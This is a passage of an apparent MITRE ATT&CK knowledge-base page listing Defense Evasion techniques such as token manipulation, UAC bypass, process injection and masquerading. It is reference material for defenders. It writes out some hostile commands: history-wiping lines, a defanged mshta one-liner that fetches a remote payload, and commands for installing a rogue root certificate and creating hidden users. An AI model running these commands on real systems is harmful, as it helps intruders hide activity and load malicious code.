Defense Evasion

From enterprise
Jump to: navigation, search

Tactic Description

Defense evasion consists of techniques an adversary may use to evade detection or avoid other defenses. Sometimes these actions are the same as or variations of techniques in other categories that have the added benefit of subverting a particular defense or mitigation. Defense evasion may be considered a set of attributes the adversary applies to all other phases of the operation.

Techniques

Below is a list of all the Defense Evasion techniques in enterprise:

NameTacticsTechnical Description
Access Token ManipulationDefense Evasion
Privilege Escalation
Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token. For example, Microsoft promotes the use of access tokens as a security best practice. Administrators should log in as a standard user but run their tools with administrator privileges using the built-in access token manipulation command runas. 1

Adversaries may use access tokens to operate under a different user or system security context to perform actions and evade detection. An adversary can use built-in Windows API functions to copy access tokens from existing processes; this is known as token stealing. An adversary must already be in a privileged user context (i.e. administrator) to steal a token. However, adversaries commonly use token stealing to elevate their security context from the administrator level to the SYSTEM level. An adversary can use a token to authenticate to a remote system as the account for that token if the account has appropriate permissions on the remote system.2

Access tokens can be leveraged by adversaries through three methods:3

Token Impersonation/Theft - An adversary creates a new access token that duplicates an existing token using DuplicateToken(Ex). The token can then be used with ImpersonateLoggedOnUser to allow the calling thread to impersonate a logged on user's security context, or with SetThreadToken to assign the impersonated token to a thread. This is useful for when the target user has a non-network logon session on the system.

Create Process with a Token - An adversary creates a new access token with DuplicateToken(Ex) and uses it with CreateProcessWithTokenW to create a new process running under the security context of the impersonated user. This is useful for creating a new process under the security context of a different user.

Make and Impersonate Token - An adversary has a username and password but the user is not logged onto the system. The adversary can then create a logon session for the user using the LogonUser function. The function will return a copy of the new session's access token and the adversary can use SetThreadToken to assign the token to a thread.

Any standard user can use the runas command, and the Windows API functions, to create impersonation tokens; it does not require access to an administrator account.

Metasploit’s Meterpreter payload allows arbitrary token manipulation and uses token impersonation to escalate privileges. 4 The Cobalt Strike beacon payload allows arbitrary token impersonation and can also create tokens. 5
BITS JobsDefense Evasion
Persistence
Windows Background Intelligent Transfer Service (BITS) is a low-bandwidth, asynchronous file transfer mechanism exposed through Component Object Model (COM)6.7 BITS is commonly used by updaters, messengers, and other applications preferred to operate in the background (using available idle bandwidth) without interrupting other networked applications. File transfer tasks are implemented as BITS jobs, which contain a queue of one or more file operations.

The interface to create and manage BITS jobs is accessible through PowerShell 7 and the BITSAdmin tool.8

Adversaries may abuse BITS to download, execute, and even clean up after malicious code. BITS tasks are self-contained in the BITS job database, without new files or registry modifications, and often permitted by host firewalls.91011 BITS enabled execution may also allow Persistence by creating long-standing jobs (the default maximum lifetime is 90 days and extendable) or invoking an arbitrary program when a job completes or errors (including after system reboots).129

BITS upload functionalities can also be used to perform Exfiltration Over Alternative Protocol.9
Binary PaddingDefense EvasionSome security tools inspect files with static signatures to determine if they are known malicious. Adversaries may add data to files to increase the size beyond what security tools are capable of handling or to change the file hash to avoid hash-based blacklists.
Bypass User Account ControlDefense Evasion
Privilege Escalation
Windows User Account Control (UAC) allows a program to elevate its privileges to perform a task under administrator-level permissions by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.13

If the UAC protection level of a computer is set to anything but the highest level, certain Windows programs are allowed to elevate privileges or execute some elevated COM objects without prompting the user through the UAC notification box.1415 An example of this is use of rundll32.exe to load a specifically crafted DLL which loads an auto-elevated COM object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.16 Adversaries can use these techniques to elevate privileges to administrator if the target process is unprotected.

Many methods have been discovered to bypass UAC. The Github readme page for UACMe contains an extensive list of methods17 that have been discovered and implemented within UACMe, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:

  • eventvwr.exe can auto-elevate and execute a specified binary or script.1819
Another bypass is possible through some Lateral Movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on lateral systems and default to high integrity.20
CMSTPDefense Evasion
Execution
The Microsoft Connection Manager Profile Installer (CMSTP.exe) is a command-line program used to install Connection Manager service profiles.21 CMSTP.exe accepts an installation information file (INF) as a parameter and installs a service profile leveraged for remote access connections.

Adversaries may supply CMSTP.exe with INF files infected with malicious commands.22 Similar to Regsvr32 / ”Squiblydoo”, CMSTP.exe may be abused to load and execute DLLs23 and/or COM scriptlets (SCT) from remote servers.2425 This execution may also bypass AppLocker and other whitelisting defenses since CMSTP.exe is a legitimate, signed Microsoft application.

CMSTP.exe can also be abused to Bypass User Account Control and execute arbitrary commands from a malicious INF through an auto-elevated COM interface.2325
Clear Command HistoryDefense EvasionmacOS and Linux both keep track of the commands users type in their terminal so that users can easily remember what they've done. These logs can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. Since everything typed on the command-line is saved, passwords passed in on the command line are also saved. Adversaries can abuse this by searching these files for cleartext passwords. Additionally, adversaries can use a variety of methods to prevent their own commands from appear in these logs such as unset HISTFILE, export HISTFILESIZE=0, history -c, rm ~/.bash_history.
Code SigningDefense EvasionCode signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with.26 However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries27. The certificates used during an operation may be created, forged, or stolen by the adversary.2829

Code signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform.26

Code signing certificates may be used to bypass security policies that require signed code to execute on a system.
Component FirmwareDefense Evasion
Persistence
Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to System Firmware but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.
Component Object Model HijackingDefense Evasion
Persistence
The Microsoft Component Object Model (COM) is a system within Windows to enable interaction between software components through the operating system.30 Adversaries can use this system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Windows Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.31 An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Control Panel ItemsDefense Evasion
Execution
Windows Control Panel items are utilities that allow users to view and adjust computer settings. Control Panel items are registered executable (.exe) or Control Panel (.cpl) files, the latter are actually renamed dynamic-link library (.dll) files that export a CPlApplet function.3233 Control Panel items can be executed directly from the command line, programmatically via an application programming interface (API) call, or by simply double-clicking the file.323334

For ease of use, Control Panel items typically include graphical menus available to users after being registered and loaded into the Control Panel.32

Adversaries can use Control Panel items as execution payloads to execute arbitrary commands. Malicious Control Panel items can be delivered via Spearphishing Attachment campaigns 3334 or executed as part of multi-stage malware.35 Control Panel items, specifically CPL files, may also bypass application and/or file extension whitelisting.
DCShadowDefense EvasionDCShadow is a method of manipulating Active Directory (AD) data, including objects and schemas, by registering (or reusing an inactive registration) and simulating the behavior of a Domain Controller (DC).3637 Once registered, a rogue DC may be able to inject and replicate changes into AD infrastructure for any domain object, including credentials and keys.

Registering a rogue DC involves creating a new server and nTDSDSA objects in the Configuration partition of the AD schema, which requires Administrator privileges (either Domain or local to the DC) or the KRBTGT hash.38

This technique may bypass system logging and security monitors such as security information and event management (SIEM) products (since actions taken on a rogue DC may not be reported to these sensors).36 The technique may also be used to alter and delete replication and other associated metadata to obstruct forensic analysis. Adversaries may also utilize this technique to perform SID-History Injection and/or manipulate AD objects (such as accounts, access control lists, schemas) to establish backdoors for Persistence.3637
DLL Search Order HijackingDefense Evasion
Persistence
Privilege Escalation
Windows systems use a common method to look for required DLLs to load into a program.39 Adversaries may take advantage of the Windows DLL search order and programs that ambiguously specify DLLs to gain privilege escalation and persistence.

Adversaries may perform DLL preloading, also called binary planting attacks,40 by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program. Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL.41 Adversaries may use this behavior to cause the program to load a malicious DLL.

Adversaries may also directly modify the way a program loads DLLs by replacing an existing DLL or modifying a .manifest or .local redirection file, directory, or junction to cause the program to load a different DLL to maintain persistence or privilege escalation.424344

If a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program.

Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.
DLL Side-LoadingDefense EvasionPrograms may specify DLLs that are loaded at runtime. Programs that improperly or vaguely specify a required DLL may be open to a vulnerability in which an unintended DLL is loaded. Side-loading vulnerabilities specifically occur when Windows Side-by-Side (WinSxS) manifests45 are not explicit enough about characteristics of the DLL to be loaded. Adversaries may take advantage of a legitimate program that is vulnerable to side-loading to load a malicious DLL.46 Adversaries likely use this technique as a means of masking actions they perform under a legitimate, trusted system or software process.
Deobfuscate/Decode Files or InformationDefense EvasionAdversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware, Scripting, PowerShell, or by using utilities present on the system.

One such example is use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.47

Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.48

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used with Obfuscated Files or Information during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.49 Adversaries may also used compressed or archived scripts, such as Javascript.
Disabling Security ToolsDefense EvasionAdversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security scanning or event reporting.
Exploitation for Defense EvasionDefense EvasionExploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for Security Software Discovery. The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection.
Extra Window Memory InjectionDefense Evasion
Privilege Escalation
Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).50 Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.5152

Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process’s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process’s EWM.

Execution granted through EWM injection may take place in the address space of a separate live process. Similar to Process Injection, this may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.53 More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.5455
File DeletionDefense EvasionMalware, tools, or other non-native files dropped or created on a system by an adversary may leave traces behind as to what was done within a network and how. Adversaries may remove these files over the course of an intrusion to keep their footprint low or remove them at the end as part of the post-intrusion cleanup process. There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native cmd functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools.56
File System Logical OffsetsDefense EvasionWindows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique bypasses Windows file access controls as well as file system monitoring tools.57 Utilities, such as NinjaCopy, exist to perform these actions in PowerShell.58
Gatekeeper BypassDefense EvasionIn macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution.

Apps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check.59 The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app.6061

In typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application.62
HISTCONTROLDefense EvasionThe HISTCONTROL environment variable keeps track of what should be saved by the history command and eventually into the ~/.bash_history file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to "ignorespace". HISTCONTROL can also be set to ignore duplicate commands by setting it to "ignoredups". In some Linux systems, this is set by default to "ignoreboth" which covers both of the previous examples. This means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.
Hidden Files and DirectoriesDefense Evasion
Persistence
To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS).

Windows

Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”.

Linux/Mac

Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name 6364. Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application.

Mac

Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app65. Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys.

Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.
Hidden UsersDefense EvasionEvery user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 40166.
Hidden WindowDefense EvasionThe configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window 64.
Image File Execution Options InjectionDefense Evasion
Persistence
Privilege Escalation
Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”).67

IFEOs can be set directly via the Registry or in Global Flags via the Gflags tool.68 IFEOs are represented as Debugger Values in the Registry under HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/<executable> and HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\<executable> where <executable> is the binary on which the debugger is attached.67

Similar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer.53 Installing IFEO mechanisms may also provide Persistence via continuous invocation.

Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications.6970
Indicator BlockingDefense EvasionAn adversary may attempt to block indicators or events from leaving the host machine. In the case of network-based reporting of indicators, an adversary may block traffic associated with reporting to prevent central analysis. This may be accomplished by many means, such as stopping a local process or creating a host-based firewall rule to block traffic to a specific server.
Indicator Removal from ToolsDefense EvasionIf a malicious tool is detected and quarantined or otherwise curtailed, an adversary may be able to determine why the malicious tool was detected (the indicator), modify the tool by removing the indicator, and use the updated version that is no longer detected by the target's defensive systems or subsequent targets that may use similar systems. A good example of this is when malware is detected with a file signature and quarantined by anti-virus software. An adversary who can determine that the malware was quarantined because of its file signature may use Software Packing or otherwise modify the file so it has a different signature, and then re-use the malware.
Indicator Removal on HostDefense EvasionAdversaries may delete or alter generated event files on a host system, including potentially captured files such as quarantined malware. This may compromise the integrity of the security solution, causing events to go unreported, or make forensic analysis and incident response more difficult due to lack of sufficient data to determine what occurred.
Indirect Command ExecutionDefense EvasionVarious Windows utilities may be used to execute commands, possibly without invoking cmd. For example, Forfiles, the Program Compatibility Assistant (pcalua.exe), components of the Windows Subsystem for Linux (WSL), as well as other utilities may invoke the execution of programs and commands from a Command-Line Interface, Run window, or via scripts.7172 Adversaries may abuse these utilities for Defense Evasion, specifically to perform arbitrary execution while subverting detections and/or mitigation controls (such as Group Policy) that limit/prevent the usage of cmd.
Install Root CertificateDefense EvasionRoot certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate.73 Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.

Installation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.74

Atypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications.75

Root certificates (and their associated chains) can also be cloned and reinstalled. Cloned certificate chains will carry many of the same metadata characteristics of the source and can be used to sign malicious code that may then bypass signature validation tools (ex: Sysinternals, antivirus, etc.) used to block execution and/or uncover artifacts of Persistence.76

In macOS, the Ay MaMi malware uses /usr/bin/security add-trusted-cert -d -r trustRoot -k /Library/Keychains/System.keychain /path/to/malicious/cert to install a malicious certificate as a trusted root certificate into the system keychain.77
InstallUtilDefense Evasion
Execution
InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.78 InstallUtil is located in the .NET directories on a Windows system: C:\Windows\Microsoft.NET\Framework\v<version>\InstallUtil.exe and C:\Windows\Microsoft.NET\Framework64\v<version>\InstallUtil.exe. InstallUtil.exe is digitally signed by Microsoft. Adversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute [System.ComponentModel.RunInstaller(true)].79
LC_MAIN HijackingDefense EvasionAs of OS X 10.8, mach-O binaries introduced a new header called LC_MAIN that points to the binary’s entry point for execution. Previously, there were two headers to achieve this same effect: LC_THREAD and LC_UNIXTHREAD 80. The entry point for a binary can be hijacked so that initial execution flows to a malicious addition (either another section or a code cave) and then goes back to the initial entry point so that the victim doesn’t know anything was different 59. By modifying a binary in this way, application whitelisting can be bypassed because the file name or application path is still the same.
LaunchctlDefense Evasion
Execution
Persistence
Launchctl controls the macOS launchd process which handles things like launch agents and launch daemons, but can execute other commands or programs itself. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input. By loading or reloading launch agents or launch daemons, adversaries can install persistence or execute changes they made 63. Running a command from launchctl is as simple as launchctl submit -l <labelName> -- /Path/to/thing/to/execute "arg" "arg" "arg". Loading, unloading, or reloading launch agents or launch daemons can require elevated privileges. Adversaries can abuse this functionality to execute code or even bypass whitelisting if launchctl is an allowed process.
MasqueradingDefense EvasionMasquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

One variant is for an executable to be placed in a commonly trusted directory or given the name of a legitimate, trusted program. Alternatively, the filename given may be a close approximation of legitimate programs. This is done to bypass tools that trust executables by relying on file name or path, as well as to deceive defenders and system administrators into thinking a file is benign by associating the name with something that is thought to be legitimate.


Windows

In another variation of this technique, an adversary may use a renamed copy of a legitimate utility, such as rundll32.exe.81 An alternative case occurs when a legitimate utility is moved to a different directory and also renamed to avoid detections based on system utilities executing from non-standard paths.82

An example of abuse of trusted locations in Windows would be the C:\Windows\System32 directory. Examples of trusted binary names that can be given to malicious binares include "explorer.exe" and "svchost.exe".

Linux

Another variation of this technique includes malicious binaries changing the name of their running process to that of a trusted or benign process, after they have been launched as opposed to before. 83

An example of abuse of trusted locations in Linux would be the /bin directory. Examples of trusted binary names that can be given to malicious binares include "rsyncd" and "dbus-inotifier". 84 85
Modify RegistryDefense EvasionAdversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in Persistence and Execution.

Access to specific areas of the Registry depends on account permissions, some requiring administrator-level access. The built-in Windows command-line utility Reg may be used for local or remote Registry modification.86 Other tools may also be used, such as a remote access tool, which may contain functionality to interact with the Registry through the Windows API (see examples).

The Registry of a remote system may be modified to aid in execution of files as part of Lateral Movement. It requires the remote Registry service to be running on the target system.87 Often Valid Accounts are required, along with access to the remote system's Windows Admin Shares for RPC communication.
MshtaDefense Evasion
Execution
Mshta.exe is a utility that executes Microsoft HTML Applications (HTA). HTA files have the file extension .hta.88 HTAs are standalone applications that execute using the same models and technologies of Internet Explorer, but outside of the browser.89

Adversaries can use mshta.exe to proxy execution of malicious .hta files and Javascript or VBScript through a trusted Windows utility. There are several examples of different types of threats leveraging mshta.exe during initial compromise and for execution of code9091929394

Files may be executed by mshta.exe through an inline script: mshta vbscript:Close(Execute("GetObject(""script:https[:]//webserver/payload[.]sct"")"))

They may also be executed directly from URLs: mshta http[:]//webserver/payload[.]hta

Mshta.exe can be used to bypass application whitelisting solutions that do not account for its potential use. Since mshta.exe executes outside of the Internet Explorer's security context, it also bypasses browser security settings.95
NTFS File AttributesDefense EvasionEvery New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.96 Within MFT entries are file attributes,97 such as Extended Attributes (EA) and Data [known as Alternative Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).969899100 Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.10199
Network Share Connection RemovalDefense EvasionWindows shared drive and Windows Admin Shares connections can be removed when no longer needed. Net is an example utility that can be used to remove network share connections with the net use \\system\share /delete command.102 Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation.
Obfuscated Files or InformationDefense EvasionAdversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.

Payloads may be compressed, archived, or encrypted in order to avoid detection. These payloads may be used during Initial Access or later to mitigate detection. Sometimes a user's action may be required to open and Deobfuscate/Decode Files or Information for User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary.49 Adversaries may also used compressed or archived scripts, such as Javascript.

Portions of files can also be encoded to hide the plain-text strings that would otherwise help defenders with discovery.103 Payloads may also be split into separate, seemingly benign files that only reveal malicious functionality when reassembled.48

Adversaries may also obfuscate commands executed from payloads or directly via a Command-Line Interface. Environment variables, aliases, characters, and other platform/language specific semantics can be used to evade signature based detections and whitelisting mechanisms.104105106

Another example of obfuscation is through the use of steganography, a technique of hiding messages or code in images, audio tracks, video clips, or text files. One of the first known and reported adversaries that used steganography activity surrounding Invoke-PSImage. The Duqu malware encrypted the gathered information from a victim's system and hid it into an image followed by exfiltrating the image to a C2 server.107 By the end of 2017, an adversary group used Invoke-PSImage to hide PowerShell commands in an image file (png) and execute the code on a victim's system. In this particular case the PowerShell code downloaded another obfuscated script to gather intelligence from the victim's machine and communicate it back to the adversary.108
Plist ModificationDefense Evasion
Persistence
Privilege Escalation
Property list (plist) files contain all of the information that macOS and OS X uses to configure applications and services. These files are UT-8 encoded and formatted like XML documents via a series of keys surrounded by < >. They detail when programs should execute, file paths to the executables, program arguments, required OS permissions, and many others. plists are located in certain locations depending on their purpose such as /Library/Preferences (which execute with elevated privileges) and ~/Library/Preferences (which execute with a user's privileges). Adversaries can modify these plist files to point to their own code, can use them to execute their code in the context of another user, bypass whitelisting procedures, or even use them as a persistence mechanism.63
Port KnockingCommand and Control
Defense Evasion
Persistence
Port Knocking is a well-established method used by both defenders and adversaries to hide open ports from access. To enable the port, the system expects a series of packets with certain characteristics before the port will be opened. This is often accomlished by the host based firewall, but could also be implemented by custom software.

This technique has been observed to both for the dynamic opening of a listening port as well as the initiating of a connection to a listening server on a different system.

The observation of the signal packets to trigger the communication can be conducted through different methods. One means, originally implemented by Cd00r, is to use the libpcap libraries to sniff for the packets in question. Another method leverages raw sockets, which enables the malware to use ports that are already open for use by other programs.
Process DoppelgängingDefense EvasionWindows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations.109 To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened.110 To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction.111

Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10.112

Adversaries may leverage TxF to a perform a file-less variation of Process Injection called Process Doppelgänging. Similar to Process Hollowing, Process Doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext.112

Process Doppelgänging is implemented in 4 steps112:

  • Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
  • Load – Create a shared section of memory and load the malicious executable.
  • Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
  • Animate – Create a process from the tainted section of memory and initiate execution.
Process HollowingDefense EvasionProcess hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis.11353
Process InjectionDefense Evasion
Privilege Escalation
Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.

Windows

There are multiple approaches to injecting code into a live process. Windows implementations include:53

  • Dynamic-link library (DLL) injection involves writing the path to a malicious DLL inside a process then invoking execution by creating a remote thread.
  • Portable executable injection involves writing malicious code directly into the process (without a file on disk) then invoking execution with either additional code or by creating a remote thread. The displacement of the injected code introduces the additional requirement for functionality to remap memory references. Variations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue.114
  • Thread execution hijacking involves injecting malicious code or the path to a DLL into a thread of a process. Similar to Process Hollowing, the thread must first be suspended.
  • Asynchronous Procedure Call (APC) injection involves attaching malicious code to the APC Queue115 of a process's thread. Queued APC functions are executed when the thread enters an alterable state. AtomBombing 116 is a variation that utilizes APCs to invoke malicious code previously written to the global atom table.117
  • Thread Local Storage (TLS) callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point.118

Mac and Linux

Implementations for Linux and OS X/macOS systems include:119120

  • LD_PRELOAD, LD_LIBRARY_PATH (Linux), DYLD_INSERT_LIBRARIES (Mac OS X) environment variables, or the dlfcn application programming interface (API) can be used to dynamically load a library (shared object) in a process which can be used to intercept API calls from the running process.121
  • Ptrace system calls can be used to attach to a running process and modify it in runtime.120
  • /proc/[pid]/mem provides access to the memory of the process and can be used to read/write arbitrary data to it. This technique is very rare due to its complexity.120
  • VDSO hijacking performs runtime injection on ELF binaries by manipulating code stubs mapped in from the linux-vdso.so shared object.122
Malware commonly utilizes process injection to access system resources through which Persistence and other environment modifications can be made. More sophisticated samples may perform multiple process injections to segment modules and further evade detection, utilizing named pipes or other inter-process communication (IPC) mechanisms as a communication channel.
Redundant AccessDefense Evasion
Persistence
Adversaries may use more than one remote access tool with varying command and control protocols as a hedge against detection. If one type of tool is detected and blocked or removed as a response but the organization did not gain a full understanding of the adversary's tools and access, then the adversary will be able to retain access to the network. Adversaries may also attempt to gain access to Valid Accounts to use External Remote Services such as external VPNs as a way to maintain access despite interruptions to remote access tools deployed within a target network.123 Use of a Web Shell is one such way to maintain access to a network through an externally accessible Web server.
Regsvcs/RegasmDefense Evasion
Execution
